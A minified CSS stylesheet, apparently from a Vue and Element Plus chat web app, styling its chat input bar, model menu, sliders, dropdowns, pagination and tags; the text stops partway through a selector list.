.card-title[data-v-7e38664f]{font-size:16px;font-weight:600;color:var(--color-text-primary)}.plugin-card[data-v-7e38664f] .el-switch{opacity:0;height:18px}.plugin-card[data-v-7e38664f] .el-switch .el-switch__core{width:30px}.plugin-card[data-v-7e38664f] .el-switch .el-switch__core:after{width:12px;height:12px}.plugin-card[data-v-7e38664f] .el-switch.active{opacity:1}.plugin-card[data-v-7e38664f] .el-switch.active .el-switch__action{background:#71c140}.plugin-card[data-v-7e38664f] .el-switch.active .el-switch__core:after{background:none}.plugin-card .icon-card-right[data-v-7e38664f]{opacity:0}.plugin-card .card-desc[data-v-7e38664f]{margin-top:6px;font-size:12px;font-weight:400;color:var(--color-text-desc);padding-left:8px;position:relative;text-align:left;white-space:nowrap}.plugin-card .card-desc[data-v-7e38664f]:before{content:"";width:4px;height:4px;background:#8b8b8b;border-radius:50%;position:absolute;left:0;top:50%;transform:translateY(-50%)}@media screen and (min-width: 769px){.scroll-bar-style[data-v-cb753046]:hover::-webkit-scrollbar-thumb,.input-bar .input-text[data-v-cb753046] .textarea textarea:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px #0000001a;background:#f7f7fc}.scroll-bar-style[data-v-cb753046]::-webkit-scrollbar,.input-bar .input-text[data-v-cb753046] .textarea textarea::-webkit-scrollbar{width:5px;height:5px}.scroll-bar-style[data-v-cb753046]::-webkit-scrollbar-thumb,.input-bar .input-text[data-v-cb753046] .textarea textarea::-webkit-scrollbar-thumb{border-radius:10px;box-shadow:inset 0 0 5px #0000;background:#0000}.scroll-bar-style[data-v-cb753046]::-webkit-scrollbar-track,.input-bar .input-text[data-v-cb753046] .textarea textarea::-webkit-scrollbar-track{border-radius:10px;background:#0000}}@keyframes border-animate-cb753046{0%,10%{background:linear-gradient(to bottom right,#6794f5,#9003ff)}15%{background:linear-gradient(to bottom,#6794f5,#9003ff)}20%{background:linear-gradient(to bottom left,#6794f5,#9003ff)}30%{background:linear-gradient(to left,#6794f5,#9003ff)}40%{background:linear-gradient(to left top,#6794f5,#9003ff)}50%{background:linear-gradient(to left top,#6794f5,#9003ff)}60%{background:linear-gradient(to left top,#6794f5,#9003ff)}70%{background:linear-gradient(to left,#6794f5,#9003ff)}80%{background:linear-gradient(to bottom left,#6794f5,#9003ff)}85%{background:linear-gradient(to bottom,#6794f5,#9003ff)}90%,to{background:linear-gradient(to bottom right,#6794f5,#9003ff)}}.input-bar[data-v-cb753046]{position:relative;margin:-58px auto 0;width:100%;z-index:99}.input-bar .chat-input-main[data-v-cb753046]{position:relative;border:1px solid var(--color-input-border);background:var(--0a8db6f4);border-radius:16px;overflow:hidden;z-index:99}.input-bar .chat-input-main[data-v-cb753046]:hover{box-shadow:0 4px 12px #a09cc733}.input-bar .chat-input-main[data-v-cb753046]:before{display:block;content:" ";position:absolute;top:-38px;left:-1px;right:-1px;height:38px;pointer-events:none;background:linear-gradient(0deg,#fffc,#fff3 60%,#fff0)}.input-bar .input-text[data-v-cb753046]{display:flex;flex-direction:column;border-radius:0 0 16px 16px;overflow:hidden;position:relative}.input-bar .input-text .input-right[data-v-cb753046]{z-index:2;flex:1;background-color:#fff;border-radius:0;position:relative}.input-bar .input-text .chat-doc_upload-button-pro+.input-right[data-v-cb753046]{border-radius:0 12px 12px 0}.input-bar .input-text .chat-doc_upload-button-pro+.input-right[data-v-cb753046] textarea{border-radius:0}.input-bar .input-text[data-v-cb753046] .textarea{border-radius:var(--2d601dac);overflow:hidden;flex:1;background:#fff;z-index:2;display:flex;flex-direction:column;padding-right:40px}.input-bar .input-text[data-v-cb753046] .textarea textarea{padding:10px 8px 10px 10px;position:relative;background-color:transparent;box-shadow:none;border:none;resize:none;line-height:28px}.input-bar .input-text[data-v-cb753046] .textarea.is-disabled ::v-deep(textarea){background-color:var(--el-disabled-bg-color)}.input-bar .input-text .c-icon[data-v-cb753046]{position:absolute;bottom:10px;right:10px;width:28px;height:28px;display:flex;justify-content:center;align-items:center;z-index:3}.input-bar .input-text .c-icon .icon-send[data-v-cb753046]{width:100%;height:100%;opacity:var(--e966f9dc)}.input-bar .input-text .icon-input-open[data-v-cb753046]{position:absolute;top:10px;right:10px;z-index:3;width:20px;cursor:pointer}.el-slider{--el-slider-main-bg-color:var(--el-color-primary);--el-slider-runway-bg-color:var(--el-border-color-light);--el-slider-stop-bg-color:var(--el-color-white);--el-slider-disabled-color:var(--el-text-color-placeholder);--el-slider-border-radius:3px;--el-slider-height:6px;--el-slider-button-size:20px;--el-slider-button-wrapper-size:36px;--el-slider-button-wrapper-offset:-15px}.el-slider{width:100%;height:32px;display:flex;align-items:center}.el-slider__runway{flex:1;height:var(--el-slider-height);background-color:var(--el-slider-runway-bg-color);border-radius:var(--el-slider-border-radius);position:relative;cursor:pointer}.el-slider__runway.show-input{margin-right:30px;width:auto}.el-slider__runway.is-disabled{cursor:default}.el-slider__runway.is-disabled .el-slider__bar{background-color:var(--el-slider-disabled-color)}.el-slider__runway.is-disabled .el-slider__button{border-color:var(--el-slider-disabled-color)}.el-slider__runway.is-disabled .el-slider__button-wrapper.hover,.el-slider__runway.is-disabled .el-slider__button-wrapper:hover,.el-slider__runway.is-disabled .el-slider__button-wrapper.dragging{cursor:not-allowed}.el-slider__runway.is-disabled .el-slider__button.dragging,.el-slider__runway.is-disabled .el-slider__button.hover,.el-slider__runway.is-disabled .el-slider__button:hover{transform:scale(1)}.el-slider__runway.is-disabled .el-slider__button.hover,.el-slider__runway.is-disabled .el-slider__button:hover,.el-slider__runway.is-disabled .el-slider__button.dragging{cursor:not-allowed}.el-slider__input{flex-shrink:0;width:130px}.el-slider__bar{height:var(--el-slider-height);background-color:var(--el-slider-main-bg-color);border-top-left-radius:var(--el-slider-border-radius);border-bottom-left-radius:var(--el-slider-border-radius);position:absolute}.el-slider__button-wrapper{height:var(--el-slider-button-wrapper-size);width:var(--el-slider-button-wrapper-size);position:absolute;z-index:1;top:var(--el-slider-button-wrapper-offset);transform:translate(-50%);background-color:transparent;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;line-height:normal;outline:0}.el-slider__button-wrapper:after{display:inline-block;content:"";height:100%;vertical-align:middle}.el-slider__button-wrapper.hover,.el-slider__button-wrapper:hover{cursor:-webkit-grab;cursor:grab}.el-slider__button-wrapper.dragging{cursor:-webkit-grabbing;cursor:grabbing}.el-slider__button{display:inline-block;width:var(--el-slider-button-size);height:var(--el-slider-button-size);vertical-align:middle;border:solid 2px var(--el-slider-main-bg-color);background-color:var(--el-color-white);border-radius:50%;box-sizing:border-box;transition:var(--el-transition-duration-fast);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-slider__button.dragging,.el-slider__button.hover,.el-slider__button:hover{transform:scale(1.2)}.el-slider__button.hover,.el-slider__button:hover{cursor:-webkit-grab;cursor:grab}.el-slider__button.dragging{cursor:-webkit-grabbing;cursor:grabbing}.el-slider__stop{position:absolute;height:var(--el-slider-height);width:var(--el-slider-height);border-radius:var(--el-border-radius-circle);background-color:var(--el-slider-stop-bg-color);transform:translate(-50%)}.el-slider__marks{top:0;left:12px;width:18px;height:100%}.el-slider__marks-text{position:absolute;transform:translate(-50%);font-size:14px;color:var(--el-color-info);margin-top:15px;white-space:pre}.el-slider.is-vertical{position:relative;display:inline-flex;width:auto;height:100%;flex:0}.el-slider.is-vertical .el-slider__runway{width:var(--el-slider-height);height:100%;margin:0 16px}.el-slider.is-vertical .el-slider__bar{width:var(--el-slider-height);height:auto;border-radius:0 0 3px 3px}.el-slider.is-vertical .el-slider__button-wrapper{top:auto;left:var(--el-slider-button-wrapper-offset);transform:translateY(50%)}.el-slider.is-vertical .el-slider__stop{transform:translateY(50%)}.el-slider.is-vertical .el-slider__marks-text{margin-top:0;left:15px;transform:translateY(50%)}.el-slider--large{height:40px}.el-slider--small{height:24px}.el-input-number{position:relative;display:inline-flex;width:150px;line-height:30px}.el-input-number .el-input__wrapper{padding-left:42px;padding-right:42px}.el-input-number .el-input__inner{-webkit-appearance:none;-moz-appearance:textfield;text-align:center;line-height:1}.el-input-number .el-input__inner::-webkit-inner-spin-button,.el-input-number .el-input__inner::-webkit-outer-spin-button{margin:0;-webkit-appearance:none}.el-input-number__decrease,.el-input-number__increase{display:flex;justify-content:center;align-items:center;height:auto;position:absolute;z-index:1;top:1px;bottom:1px;width:32px;background:var(--el-fill-color-light);color:var(--el-text-color-regular);cursor:pointer;font-size:13px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-input-number__decrease:hover,.el-input-number__increase:hover{color:var(--el-color-primary)}.el-input-number__decrease:hover~.el-input:not(.is-disabled) .el-input__wrapper,.el-input-number__increase:hover~.el-input:not(.is-disabled) .el-input__wrapper{box-shadow:0 0 0 1px var(--el-input-focus-border-color,var(--el-color-primary)) inset}.el-input-number__decrease.is-disabled,.el-input-number__increase.is-disabled{color:var(--el-disabled-text-color);cursor:not-allowed}.el-input-number__increase{right:1px;border-radius:0 var(--el-border-radius-base) var(--el-border-radius-base) 0;border-left:var(--el-border)}.el-input-number__decrease{left:1px;border-radius:var(--el-border-radius-base) 0 0 var(--el-border-radius-base);border-right:var(--el-border)}.el-input-number.is-disabled .el-input-number__decrease,.el-input-number.is-disabled .el-input-number__increase{border-color:var(--el-disabled-border-color);color:var(--el-disabled-border-color)}.el-input-number.is-disabled .el-input-number__decrease:hover,.el-input-number.is-disabled .el-input-number__increase:hover{color:var(--el-disabled-border-color);cursor:not-allowed}.el-input-number--large{width:180px;line-height:38px}.el-input-number--large .el-input-number__decrease,.el-input-number--large .el-input-number__increase{width:40px;font-size:14px}.el-input-number--large .el-input__wrapper{padding-left:47px;padding-right:47px}.el-input-number--small{width:120px;line-height:22px}.el-input-number--small .el-input-number__decrease,.el-input-number--small .el-input-number__increase{width:24px;font-size:12px}.el-input-number--small .el-input__wrapper{padding-left:31px;padding-right:31px}.el-input-number--small .el-input-number__decrease [class*=el-icon],.el-input-number--small .el-input-number__increase [class*=el-icon]{transform:scale(.9)}.el-input-number.is-without-controls .el-input__wrapper{padding-left:15px;padding-right:15px}.el-input-number.is-controls-right .el-input__wrapper{padding-left:15px;padding-right:42px}.el-input-number.is-controls-right .el-input-number__decrease,.el-input-number.is-controls-right .el-input-number__increase{--el-input-number-controls-height:15px;height:var(--el-input-number-controls-height);line-height:var(--el-input-number-controls-height)}.el-input-number.is-controls-right .el-input-number__decrease [class*=el-icon],.el-input-number.is-controls-right .el-input-number__increase [class*=el-icon]{transform:scale(.8)}.el-input-number.is-controls-right .el-input-number__increase{bottom:auto;left:auto;border-radius:0 var(--el-border-radius-base) 0 0;border-bottom:var(--el-border)}.el-input-number.is-controls-right .el-input-number__decrease{right:1px;top:auto;left:auto;border-right:none;border-left:var(--el-border);border-radius:0 0 var(--el-border-radius-base) 0}.el-input-number.is-controls-right[class*=large] [class*=decrease],.el-input-number.is-controls-right[class*=large] [class*=increase]{--el-input-number-controls-height:19px}.el-input-number.is-controls-right[class*=small] [class*=decrease],.el-input-number.is-controls-right[class*=small] [class*=increase]{--el-input-number-controls-height:11px}.chat-settings-list-pro{height:100%;box-sizing:border-box;padding-top:8px}.chat-settings-list-pro .chat-setting-item{display:flex;justify-content:space-between;align-items:center;margin-bottom:12px}.chat-settings-list-pro .chat-setting-item:last-child{margin-bottom:0}.chat-settings-list-pro .chat-setting-item .label{width:80px;height:22px;display:flex;align-items:center;column-gap:4px}.chat-settings-list-pro .chat-setting-item .label span{color:#222226;font-size:12px;font-weight:500}.chat-settings-list-pro .chat-setting-item .el-select,.chat-settings-list-pro .chat-setting-item .el-slider{width:160px;height:22px;padding-right:8px;box-sizing:border-box}.chat-settings-list-pro .chat-setting-item .el-select .el-slider__bar,.chat-settings-list-pro .chat-setting-item .el-slider .el-slider__bar{background:#6d5ffd}.chat-settings-list-pro .chat-setting-item .el-select .el-slider__button,.chat-settings-list-pro .chat-setting-item .el-slider .el-slider__button{width:10px;height:10px;border:1px solid #6d5ffd}.chat-settings-list-pro .chat-setting-item .el-icon{color:#999aaa;vertical-align:-2px}.el-button-group{display:inline-block;vertical-align:middle}.el-button-group:after,.el-button-group:before{display:table;content:""}.el-button-group:after{clear:both}.el-button-group>.el-button{float:left;position:relative}.el-button-group>.el-button+.el-button{margin-left:0}.el-button-group>.el-button:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.el-button-group>.el-button:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.el-button-group>.el-button:first-child:last-child{border-top-right-radius:var(--el-border-radius-base);border-bottom-right-radius:var(--el-border-radius-base);border-top-left-radius:var(--el-border-radius-base);border-bottom-left-radius:var(--el-border-radius-base)}.el-button-group>.el-button:first-child:last-child.is-round{border-radius:var(--el-border-radius-round)}.el-button-group>.el-button:first-child:last-child.is-circle{border-radius:50%}.el-button-group>.el-button:not(:first-child):not(:last-child){border-radius:0}.el-button-group>.el-button:not(:last-child){margin-right:-1px}.el-button-group>.el-button:active,.el-button-group>.el-button:focus,.el-button-group>.el-button:hover{z-index:1}.el-button-group>.el-button.is-active{z-index:1}.el-button-group>.el-dropdown>.el-button{border-top-left-radius:0;border-bottom-left-radius:0;border-left-color:var(--el-button-divide-border-color)}.el-button-group .el-button--primary:first-child{border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--primary:last-child{border-left-color:var(--el-button-divide-border-color)}.el-button-group .el-button--primary:not(:first-child):not(:last-child){border-left-color:var(--el-button-divide-border-color);border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--success:first-child{border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--success:last-child{border-left-color:var(--el-button-divide-border-color)}.el-button-group .el-button--success:not(:first-child):not(:last-child){border-left-color:var(--el-button-divide-border-color);border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--warning:first-child{border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--warning:last-child{border-left-color:var(--el-button-divide-border-color)}.el-button-group .el-button--warning:not(:first-child):not(:last-child){border-left-color:var(--el-button-divide-border-color);border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--danger:first-child{border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--danger:last-child{border-left-color:var(--el-button-divide-border-color)}.el-button-group .el-button--danger:not(:first-child):not(:last-child){border-left-color:var(--el-button-divide-border-color);border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--info:first-child{border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--info:last-child{border-left-color:var(--el-button-divide-border-color)}.el-button-group .el-button--info:not(:first-child):not(:last-child){border-left-color:var(--el-button-divide-border-color);border-right-color:var(--el-button-divide-border-color)}.el-dropdown{--el-dropdown-menu-box-shadow:var(--el-box-shadow-light);--el-dropdown-menuItem-hover-fill:var(--el-color-primary-light-9);--el-dropdown-menuItem-hover-color:var(--el-color-primary);--el-dropdown-menu-index:10;display:inline-flex;position:relative;color:var(--el-text-color-regular);font-size:var(--el-font-size-base);line-height:1;vertical-align:top}.el-dropdown.is-disabled{color:var(--el-text-color-placeholder);cursor:not-allowed}.el-dropdown__popper{--el-dropdown-menu-box-shadow:var(--el-box-shadow-light);--el-dropdown-menuItem-hover-fill:var(--el-color-primary-light-9);--el-dropdown-menuItem-hover-color:var(--el-color-primary);--el-dropdown-menu-index:10}.el-dropdown__popper.el-popper{background:var(--el-bg-color-overlay);border:1px solid var(--el-border-color-light);box-shadow:var(--el-dropdown-menu-box-shadow)}.el-dropdown__popper.el-popper .el-popper__arrow:before{border:1px solid var(--el-border-color-light)}.el-dropdown__popper.el-popper[data-popper-placement^=top] .el-popper__arrow:before{border-top-color:transparent;border-left-color:transparent}.el-dropdown__popper.el-popper[data-popper-placement^=bottom] .el-popper__arrow:before{border-bottom-color:transparent;border-right-color:transparent}.el-dropdown__popper.el-popper[data-popper-placement^=left] .el-popper__arrow:before{border-left-color:transparent;border-bottom-color:transparent}.el-dropdown__popper.el-popper[data-popper-placement^=right] .el-popper__arrow:before{border-right-color:transparent;border-top-color:transparent}.el-dropdown__popper .el-dropdown-menu{border:none}.el-dropdown__popper .el-dropdown__popper-selfdefine{outline:0}.el-dropdown__popper .el-scrollbar__bar{z-index:calc(var(--el-dropdown-menu-index) + 1)}.el-dropdown__popper .el-dropdown__list{list-style:none;padding:0;margin:0;box-sizing:border-box}.el-dropdown .el-dropdown__caret-button{padding-left:0;padding-right:0;display:inline-flex;justify-content:center;align-items:center;width:32px;border-left:none}.el-dropdown .el-dropdown__caret-button>span{display:inline-flex}.el-dropdown .el-dropdown__caret-button:before{content:"";position:absolute;display:block;width:1px;top:-1px;bottom:-1px;left:0;background:var(--el-overlay-color-lighter)}.el-dropdown .el-dropdown__caret-button.el-button:before{background:var(--el-border-color);opacity:.5}.el-dropdown .el-dropdown__caret-button .el-dropdown__icon{font-size:inherit;padding-left:0}.el-dropdown .el-dropdown-selfdefine{outline:0}.el-dropdown--large .el-dropdown__caret-button{width:40px}.el-dropdown--small .el-dropdown__caret-button{width:24px}.el-dropdown-menu{position:relative;top:0;left:0;z-index:var(--el-dropdown-menu-index);padding:5px 0;margin:0;background-color:var(--el-bg-color-overlay);border:none;border-radius:var(--el-border-radius-base);box-shadow:none;list-style:none}.el-dropdown-menu__item{display:flex;align-items:center;white-space:nowrap;list-style:none;line-height:22px;padding:5px 16px;margin:0;font-size:var(--el-font-size-base);color:var(--el-text-color-regular);cursor:pointer;outline:0}.el-dropdown-menu__item:not(.is-disabled):focus{background-color:var(--el-dropdown-menuItem-hover-fill);color:var(--el-dropdown-menuItem-hover-color)}.el-dropdown-menu__item i{margin-right:5px}.el-dropdown-menu__item--divided{margin:6px 0;border-top:1px solid var(--el-border-color-lighter)}.el-dropdown-menu__item.is-disabled{cursor:not-allowed;color:var(--el-text-color-disabled)}.el-dropdown-menu--large{padding:7px 0}.el-dropdown-menu--large .el-dropdown-menu__item{padding:7px 20px;line-height:22px;font-size:14px}.el-dropdown-menu--large .el-dropdown-menu__item--divided{margin:8px 0}.el-dropdown-menu--small{padding:3px 0}.el-dropdown-menu--small .el-dropdown-menu__item{padding:2px 12px;line-height:20px;font-size:12px}.el-dropdown-menu--small .el-dropdown-menu__item--divided{margin:4px 0}.model-menu[data-v-7ee01ce5]{padding:20px 10px}.model[data-v-7ee01ce5]{display:flex;align-items:center;background-color:#fff;z-index:999}.model.active .c-icon[data-v-7ee01ce5]{fill:#6b5}.model .model-icon[data-v-7ee01ce5]{width:32px;height:32px}.model .model-item[data-v-7ee01ce5]{position:relative;padding-left:8px;width:196px;overflow:hidden}.model .model-item .c-icon[data-v-7ee01ce5]{position:absolute;right:0;top:50%;margin-top:-8px}.model .model-item .model-name[data-v-7ee01ce5]{line-height:22px;font-size:14px;font-weight:400;color:var(--color-text-primary)}.model .model-item .model-desc[data-v-7ee01ce5]{font-size:12px;color:var(--color-text-desc);line-height:16px;margin-top:4px}.menu-item[data-v-7ee01ce5]{padding:0 8px;margin-bottom:16px;display:flex;align-items:center;white-space:nowrap;list-style:none;line-height:22px;font-size:var(--el-font-size-base);color:var(--el-text-color-regular);cursor:pointer;outline:0}.menu-item.disabled[data-v-7ee01ce5]{cursor:not-allowed}.vip-btn[data-v-7ee01ce5]{background:linear-gradient(115.24deg,#bb89fa 2.14%,#635bff 96.77%);border-radius:8px;font-weight:400}.c-model-btn[data-v-7ee01ce5]{height:20px;text-align:center;line-height:20px;color:#999aaa;overflow:hidden;cursor:pointer}.c-model-btn .c-model-btn-text[data-v-7ee01ce5]{display:flex;align-items:center;justify-content:center;font-size:14px;color:var(--color-text-empty)}.c-model-icon[data-v-7ee01ce5]{transition:all .3s ease-in-out;margin-left:4px}.down .c-model-icon[data-v-7ee01ce5]{transform:rotate(-180deg)}.el-text{--el-text-font-size:var(--el-font-size-base);--el-text-color:var(--el-text-color-regular)}.el-text{align-self:center;margin:0;padding:0;font-size:var(--el-text-font-size);color:var(--el-text-color);word-break:break-all}.el-text.is-truncated{display:inline-block;max-width:100%;text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.el-text.is-line-clamp{display:-webkit-inline-box;-webkit-box-orient:vertical;overflow:hidden}.el-text--large{--el-text-font-size:var(--el-font-size-medium)}.el-text--default{--el-text-font-size:var(--el-font-size-base)}.el-text--small{--el-text-font-size:var(--el-font-size-extra-small)}.el-text.el-text--primary{--el-text-color:var(--el-color-primary)}.el-text.el-text--success{--el-text-color:var(--el-color-success)}.el-text.el-text--warning{--el-text-color:var(--el-color-warning)}.el-text.el-text--danger{--el-text-color:var(--el-color-danger)}.el-text.el-text--error{--el-text-color:var(--el-color-error)}.el-text.el-text--info{--el-text-color:var(--el-color-info)}.el-text>.el-icon{vertical-align:-2px}.el-pagination{--el-pagination-font-size:14px;--el-pagination-bg-color:var(--el-fill-color-blank);--el-pagination-text-color:var(--el-text-color-primary);--el-pagination-border-radius:2px;--el-pagination-button-color:var(--el-text-color-primary);--el-pagination-button-width:32px;--el-pagination-button-height:32px;--el-pagination-button-disabled-color:var(--el-text-color-placeholder);--el-pagination-button-disabled-bg-color:var(--el-fill-color-blank);--el-pagination-button-bg-color:var(--el-fill-color);--el-pagination-hover-color:var(--el-color-primary);--el-pagination-font-size-small:12px;--el-pagination-button-width-small:24px;--el-pagination-button-height-small:24px;--el-pagination-item-gap:16px;white-space:nowrap;color:var(--el-pagination-text-color);font-size:var(--el-pagination-font-size);font-weight:400;display:flex;align-items:center}.el-pagination .el-input__inner{text-align:center;-moz-appearance:textfield}.el-pagination .el-select .el-input{width:128px}.el-pagination button{display:flex;justify-content:center;align-items:center;font-size:var(--el-pagination-font-size);min-width:var(--el-pagination-button-width);height:var(--el-pagination-button-height);line-height:var(--el-pagination-button-height);color:var(--el-pagination-button-color);background:var(--el-pagination-bg-color);padding:0 4px;border:none;border-radius:var(--el-pagination-border-radius);cursor:pointer;text-align:center;box-sizing:border-box}.el-pagination button *{pointer-events:none}.el-pagination button:focus{outline:0}.el-pagination button:hover{color:var(--el-pagination-hover-color)}.el-pagination button.is-active{color:var(--el-pagination-hover-color);cursor:default;font-weight:700}.el-pagination button.is-active.is-disabled{font-weight:700;color:var(--el-text-color-secondary)}.el-pagination button.is-disabled,.el-pagination button:disabled{color:var(--el-pagination-button-disabled-color);background-color:var(--el-pagination-button-disabled-bg-color);cursor:not-allowed}.el-pagination button:focus-visible{outline:1px solid var(--el-pagination-hover-color);outline-offset:-1px}.el-pagination .btn-next .el-icon,.el-pagination .btn-prev .el-icon{display:block;font-size:12px;font-weight:700;width:inherit}.el-pagination>.is-first{margin-left:0!important}.el-pagination>.is-last{margin-right:0!important}.el-pagination .btn-prev{margin-left:var(--el-pagination-item-gap)}.el-pagination__sizes,.el-pagination__total{margin-left:var(--el-pagination-item-gap);font-weight:400;color:var(--el-text-color-regular)}.el-pagination__total[disabled=true]{color:var(--el-text-color-placeholder)}.el-pagination__jump{display:flex;align-items:center;margin-left:var(--el-pagination-item-gap);font-weight:400;color:var(--el-text-color-regular)}.el-pagination__jump[disabled=true]{color:var(--el-text-color-placeholder)}.el-pagination__goto{margin-right:8px}.el-pagination__editor{text-align:center;box-sizing:border-box}.el-pagination__editor.el-input{width:56px}.el-pagination__editor .el-input__inner::-webkit-inner-spin-button,.el-pagination__editor .el-input__inner::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.el-pagination__classifier{margin-left:8px}.el-pagination__rightwrapper{flex:1;display:flex;align-items:center;justify-content:flex-end}.el-pagination.is-background .btn-next,.el-pagination.is-background .btn-prev,.el-pagination.is-background .el-pager li{margin:0 4px;background-color:var(--el-pagination-button-bg-color)}.el-pagination.is-background .btn-next.is-active,.el-pagination.is-background .btn-prev.is-active,.el-pagination.is-background .el-pager li.is-active{background-color:var(--el-color-primary);color:var(--el-color-white)}.el-pagination.is-background .btn-next.is-disabled,.el-pagination.is-background .btn-next:disabled,.el-pagination.is-background .btn-prev.is-disabled,.el-pagination.is-background .btn-prev:disabled,.el-pagination.is-background .el-pager li.is-disabled,.el-pagination.is-background .el-pager li:disabled{color:var(--el-text-color-placeholder);background-color:var(--el-disabled-bg-color)}.el-pagination.is-background .btn-next.is-disabled.is-active,.el-pagination.is-background .btn-next:disabled.is-active,.el-pagination.is-background .btn-prev.is-disabled.is-active,.el-pagination.is-background .btn-prev:disabled.is-active,.el-pagination.is-background .el-pager li.is-disabled.is-active,.el-pagination.is-background .el-pager li:disabled.is-active{color:var(--el-text-color-secondary);background-color:var(--el-fill-color-dark)}.el-pagination.is-background .btn-prev{margin-left:var(--el-pagination-item-gap)}.el-pagination--small .btn-next,.el-pagination--small .btn-prev,.el-pagination--small .el-pager li{height:var(--el-pagination-button-height-small);line-height:var(--el-pagination-button-height-small);font-size:var(--el-pagination-font-size-small);min-width:var(--el-pagination-button-width-small)}.el-pagination--small button,.el-pagination--small span:not([class*=suffix]){font-size:var(--el-pagination-font-size-small)}.el-pagination--small .el-select .el-input{width:100px}.el-pager{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;list-style:none;font-size:0;padding:0;margin:0;display:flex;align-items:center}.el-pager li{display:flex;justify-content:center;align-items:center;font-size:var(--el-pagination-font-size);min-width:var(--el-pagination-button-width);height:var(--el-pagination-button-height);line-height:var(--el-pagination-button-height);color:var(--el-pagination-button-color);background:var(--el-pagination-bg-color);padding:0 4px;border:none;border-radius:var(--el-pagination-border-radius);cursor:pointer;text-align:center;box-sizing:border-box}.el-pager li *{pointer-events:none}.el-pager li:focus{outline:0}.el-pager li:hover{color:var(--el-pagination-hover-color)}.el-pager li.is-active{color:var(--el-pagination-hover-color);cursor:default;font-weight:700}.el-pager li.is-active.is-disabled{font-weight:700;color:var(--el-text-color-secondary)}.el-pager li.is-disabled,.el-pager li:disabled{color:var(--el-pagination-button-disabled-color);background-color:var(--el-pagination-button-disabled-bg-color);cursor:not-allowed}.el-pager li:focus-visible{outline:1px solid var(--el-pagination-hover-color);outline-offset:-1px}.el-tag{--el-tag-font-size:12px;--el-tag-border-radius:4px;--el-tag-border-radius-rounded:9999px}.el-tag{--el-tag-bg-color:var(--el-color-primary-light-9);--el-tag-border-color:var(--el-color-primary-light-8);--el-tag-hover-color:var(--el-color-primary);--el-tag-text-color:var(--el-color-primary);background-color:var(--el-tag-bg-color);border-color:var(--el-tag-border-color);color:var(--el-tag-text-color);display:inline-flex;justify-content:center;align-items:center;vertical-align:middle;height:24px;padding:0 9px;font-size:var(--el-tag-font-size);line-height:1;border-width:1px;border-style:solid;border-radius:var(--el-tag-border-radius);box-sizing:border-box;white-space:nowrap;--el-icon-size:14px}.el-tag.el-tag--primary{--el-tag-bg-color:var(--el-color-primary-light-9);--el-tag-border-color:var(--el-color-primary-light-8);--el-tag-hover-color:var(--el-color-primary)}.el-tag.el-tag--success{--el-tag-bg-color:var(--el-color-success-light-9);--el-tag-border-color:var(--el-color-success-light-8);--el-tag-hover-color:var(--el-color-success)}.el-tag.el-tag--warning{--el-tag-bg-color:var(--el-color-warning-light-9);--el-tag-border-color:var(--el-color-warning-light-8);--el-tag-hover-color:var(--el-color-warning)}.el-tag.el-tag--danger{--el-tag-bg-color:var(--el-color-danger-light-9);--el-tag-border-color:var(--el-color-danger-light-8);--el-tag-hover-color:var(--el-color-danger)}.el-tag.el-tag--error{--el-tag-bg-color:var(--el-color-error-light-9);--el-tag-border-color:var(--el-color-error-light-8);--el-tag-hover-color:var(--el-color-error)}.el-tag.el-tag--info{--el-tag-bg-color:var(--el-color-info-light-9);--el-tag-border-color:var(--el-color-info-light-8);--el-tag-hover-color:var(--el-color-info)}.el-tag.el-tag--primary{--el-tag-text-color:var(--el-color-primary)}.el-tag.el-tag--success{--el-tag-text-color:var(--el-color-success)}.el-tag.el-tag--warning{--el-tag-text-color:var(--el-color-warning)}.el-tag.el-tag--danger{--el-tag-text-color:var(--el-color-danger)}.el-tag.el-tag--error{--el-tag-text-color:var(--el-color-error)}.el-tag.el-tag--info{--el-tag-text-color:var(--el-color-info)}.el-tag.is-hit{border-color:var(--el-color-primary)}.el-tag.is-round{border-radius:var(--el-tag-border-radius-rounded)}.el-tag .el-tag__close{color:var(--el-tag-text-color)}.el-tag .el-tag__close:hover{color:var(--el-color-white);background-color:var(--el-tag-hover-color)}.el-tag .el-icon{border-radius:50%;cursor:pointer;font-size:calc(var(--el-icon-size) - 2px);height:var(--el-icon-size);width:var(--el-icon-size)}.el-tag .el-tag__close{margin-left:6px}.el-tag--dark{--el-tag-bg-color:var(--el-color-primary);--el-tag-border-color:var(--el-color-primary);--el-tag-hover-color:var(--el-color-primary-light-3);--el-tag-text-color:var(--el-color-white)}.el-tag--dark.el-tag--primary{--el-tag-bg-color:var(--el-color-primary);--el-tag-border-color:var(--el-color-primary);--el-tag-hover-color:var(--el-color-primary-light-3)}.el-tag--dark.el-tag--success{--el-tag-bg-color:var(--el-color-success);--el-tag-border-color:var(--el-color-success);--el-tag-hover-color:var(--el-color-success-light-3)}.el-tag--dark.el-tag--warning{--el-tag-bg-color:var(--el-color-warning);--el-tag-border-color:var(--el-color-warning);--el-tag-hover-color:var(--el-color-warning-light-3)}.el-tag--dark.el-tag--danger{--el-tag-bg-color:var(--el-color-danger);--el-tag-border-color:var(--el-color-danger);--el-tag-hover-color:var(--el-color-danger-light-3)}.el-tag--dark.el-tag--error{--el-tag-bg-color:var(--el-color-error);--el-tag-border-color:var(--el-color-error);--el-tag-hover-color:var(--el-color-error-light-3)}.el-tag--dark.el-tag--info{--el-tag-bg-color:var(--el-color-info);--el-tag-border-color:var(--el-color-info);--el-tag-hover-color:var(--el-color-info-light-3)}.el-tag--dark.el-tag--primary,.el-tag--dark.el-tag--success,.el-tag--dark.el-tag--warning,.el-tag--dark.el-tag--danger,.el-tag--dark.el-tag--error,